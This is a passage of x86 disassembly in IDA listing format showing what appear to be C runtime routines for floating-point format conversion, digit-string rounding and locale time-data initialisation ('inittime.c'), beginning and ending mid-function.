var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_8], eax
		push	40h
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_42B3D0
		add	esp, 8
		test	eax, eax
		jz	short loc_42B967
		mov	[ebp+var_10], 80000000h
		mov	dx, word ptr [ebp+var_4]
		add	dx, 1
		mov	word ptr [ebp+var_4], dx


loc_42B967:				; CODE XREF: sub_42B8F0+62j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	eax, 7FFFh
		jnz	short loc_42B97D
		mov	[ebp+var_14], 1


loc_42B97D:				; CODE XREF: sub_42B8F0+84j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		or	edx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], dx
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_42B8F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B9B0	proc near		; CODE XREF: sub_425E70+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_42E7F0
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42B8B0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_42B9B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		lea	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_42E7F0
		add	esp, 1Ch
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-0Ch]
		push	ecx
		call	sub_42B8F0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BA30	proc near		; CODE XREF: sub_425E70+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_42E7F0
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42B8D0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_42BA30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BA70	proc near		; CODE XREF: sub_425EC0+4Dp
					; sub_4260B0+45p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	30h
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42BA94:				; CODE XREF: sub_42BA70+69j
		cmp	[ebp+arg_4], 0
		jle	short loc_42BADB
		mov	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42BAB8
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		jmp	short loc_42BABF
; ---------------------------------------------------------------------------


loc_42BAB8:				; CODE XREF: sub_42BA70+32j
		mov	[ebp+var_C], 30h


loc_42BABF:				; CODE XREF: sub_42BA70+46j
		mov	ecx, [ebp+var_4]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_42BA94
; ---------------------------------------------------------------------------


loc_42BADB:				; CODE XREF: sub_42BA70+28j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		cmp	[ebp+arg_4], 0
		jl	short loc_42BB24
		mov	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 35h
		jl	short loc_42BB24
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42BAFB:				; CODE XREF: sub_42BA70+A5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_42BB17
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42BAFB
; ---------------------------------------------------------------------------


loc_42BB17:				; CODE XREF: sub_42BA70+94j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 1
		mov	eax, [ebp+var_4]
		mov	[eax], dl


loc_42BB24:				; CODE XREF: sub_42BA70+75j
					; sub_42BA70+80j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 31h
		jnz	short loc_42BB40
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		jmp	short loc_42BB66
; ---------------------------------------------------------------------------


loc_42BB40:				; CODE XREF: sub_42BA70+BDj
		mov	eax, [ebp+arg_0]
		add	eax, 1
		push	eax
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_419A90
		add	esp, 0Ch


loc_42BB66:				; CODE XREF: sub_42BA70+CEj
		mov	esp, ebp
		pop	ebp
		retn
sub_42BA70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BB70	proc near		; CODE XREF: sub_425EC0+1Ep
					; sub_4260B0+1Ep ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42BBF0
		add	esp, 8
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		push	11h
		sub	esp, 0Ch
		mov	eax, esp
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_8]
		mov	[eax+4], edx
		mov	cx, [ebp+var_4]
		mov	[eax+8], cx
		call	sub_42F370
		add	esp, 18h
		mov	edx, [ebp+arg_8]
		mov	[edx+8], eax
		movsx	eax, [ebp+var_26]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		movsx	edx, [ebp+var_28]
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		lea	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_418870
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42BB70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BBF0	proc near		; CODE XREF: sub_42BB70+Ep

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], 80000000h
		mov	word ptr [ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+6]
		and	ecx, 7FF0h
		sar	ecx, 4
		mov	word ptr [ebp+var_14], cx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		and	edx, 0FFFFFh
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jz	short loc_42BC67
		cmp	[ebp+var_1C], 7FFh
		jz	short loc_42BC5F
		jmp	short loc_42BCAA
; ---------------------------------------------------------------------------


loc_42BC5F:				; CODE XREF: sub_42BBF0+6Bj
		mov	word ptr [ebp+var_4], 7FFFh
		jmp	short loc_42BCC5
; ---------------------------------------------------------------------------


loc_42BC67:				; CODE XREF: sub_42BBF0+62j
		cmp	[ebp+var_8], 0
		jnz	short loc_42BC94
		cmp	[ebp+var_10], 0
		jnz	short loc_42BC94
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+8], 0
		jmp	loc_42BD4E
; ---------------------------------------------------------------------------


loc_42BC94:				; CODE XREF: sub_42BBF0+7Bj
					; sub_42BBF0+81j
		movsx	eax, word ptr [ebp+var_14]
		add	eax, 3C01h
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_C], 0
		jmp	short loc_42BCC5
; ---------------------------------------------------------------------------


loc_42BCAA:				; CODE XREF: sub_42BBF0+6Dj
		mov	cx, word ptr [ebp+var_14]
		sub	cx, 3FFh
		mov	word ptr [ebp+var_14], cx
		movsx	edx, word ptr [ebp+var_14]
		add	edx, 3FFFh
		mov	word ptr [ebp+var_4], dx


loc_42BCC5:				; CODE XREF: sub_42BBF0+75j
					; sub_42BBF0+B8j
		mov	eax, [ebp+var_8]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, 15h
		or	ecx, edx
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Bh
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_42BCE9:				; CODE XREF: sub_42BBF0+142j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_42BD34
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 80000000h
		neg	edx
		sbb	edx, edx
		neg	edx
		or	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	dx, word ptr [ebp+var_4]
		sub	dx, 1
		mov	word ptr [ebp+var_4], dx
		jmp	short loc_42BCE9
; ---------------------------------------------------------------------------


loc_42BD34:				; CODE XREF: sub_42BBF0+107j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ax


loc_42BD4E:				; CODE XREF: sub_42BBF0+9Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42BBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		call	sub_41AC70
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BD70	proc near		; DATA XREF: .data:004479A4o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE080, 0
		jz	loc_42BE11
		push	48h
		push	offset aInittime_c ; "inittime.c"
		push	2
		push	0ACh
		push	1
		call	sub_415520
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_42BDAC
		mov	eax, 1
		jmp	loc_42BE47
; ---------------------------------------------------------------------------


loc_42BDAC:				; CODE XREF: sub_42BD70+30j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_42BE50
		add	esp, 4
		test	eax, eax
		jz	short loc_42BDDD
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42C3E0
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	eax, 1
		jmp	short loc_42BE47
; ---------------------------------------------------------------------------


loc_42BDDD:				; CODE XREF: sub_42BD70+4Aj
		mov	eax, [ebp+var_4]
		mov	off_4482A8, eax
		mov	ecx, dword_4DE1C8
		push	ecx
		call	sub_42C3E0
		add	esp, 4
		push	2
		mov	edx, dword_4DE1C8
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4DE1C8, eax
		xor	eax, eax
		jmp	short loc_42BE47
; ---------------------------------------------------------------------------


loc_42BE11:				; CODE XREF: sub_42BD70+Bj
		mov	off_4482A8, offset off_4482B0
		mov	ecx, dword_4DE1C8
		push	ecx
		call	sub_42C3E0
		add	esp, 4
		push	2
		mov	edx, dword_4DE1C8
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	dword_4DE1C8, 0
		xor	eax, eax


loc_42BE47:				; CODE XREF: sub_42BD70+37j
					; sub_42BD70+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42BD70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BE50	proc near		; CODE XREF: sub_42BD70+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		xor	eax, eax
		mov	ax, word_4DE202
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		mov	cx, word_4DE204
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42BE82
		or	eax, 0FFFFFFFFh
		jmp	loc_42C3DB
; ---------------------------------------------------------------------------


loc_42BE82:				; CODE XREF: sub_42BE50+28j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	31h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8
		push	edx
		push	32h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0Ch
		push	edx
		push	33h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	34h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	35h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	36h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	37h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 20h
		push	edx
		push	2Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	2Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	2Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	2Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 30h
		push	edx
		push	2Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 34h
		push	edx
		push	2Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	30h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 38h
		push	edx
		push	44h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 3Ch
		push	edx
		push	45h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		push	46h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 44h
		push	edx
		push	47h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 48h
		push	edx
		push	48h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 4Ch
		push	edx
		push	49h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 50h
		push	edx
		push	4Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 54h
		push	edx
		push	4Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 58h
		push	edx
		push	4Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 5Ch
		push	edx
		push	4Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 60h
		push	edx
		push	4Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 64h
		push	edx
		push	4Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 68h
		push	edx
		push	38h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 6Ch
		push	edx
		push	39h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 70h
		push	edx
		push	3Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 74h
		push	edx
		push	3Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 78h
		push	edx
		push	3Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 7Ch
		push	edx
		push	3Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		push	3Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 84h
		push	edx
		push	3Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 88h
		push	edx
		push	40h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8Ch
		push	edx
		push	41h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 90h
		push	edx
		push	42h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 94h
		push	edx
		push	43h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 98h
		push	edx
		push	28h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 9Ch
		push	edx
		push	29h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A0h
		push	edx
		push	1Fh
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A4h
		push	edx
		push	20h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A8h
		push	edx
		push	1003h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_430D00
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]


loc_42C3DB:				; CODE XREF: sub_42BE50+2Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_42BE50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C3E0	proc near		; CODE XREF: sub_42BD70+50p
					; sub_42BD70+7Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_42C3EE
		jmp	loc_42C6E9
; ---------------------------------------------------------------------------


loc_42C3EE:				; CODE XREF: sub_42C3E0+7j
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_415C60
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_415C60
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
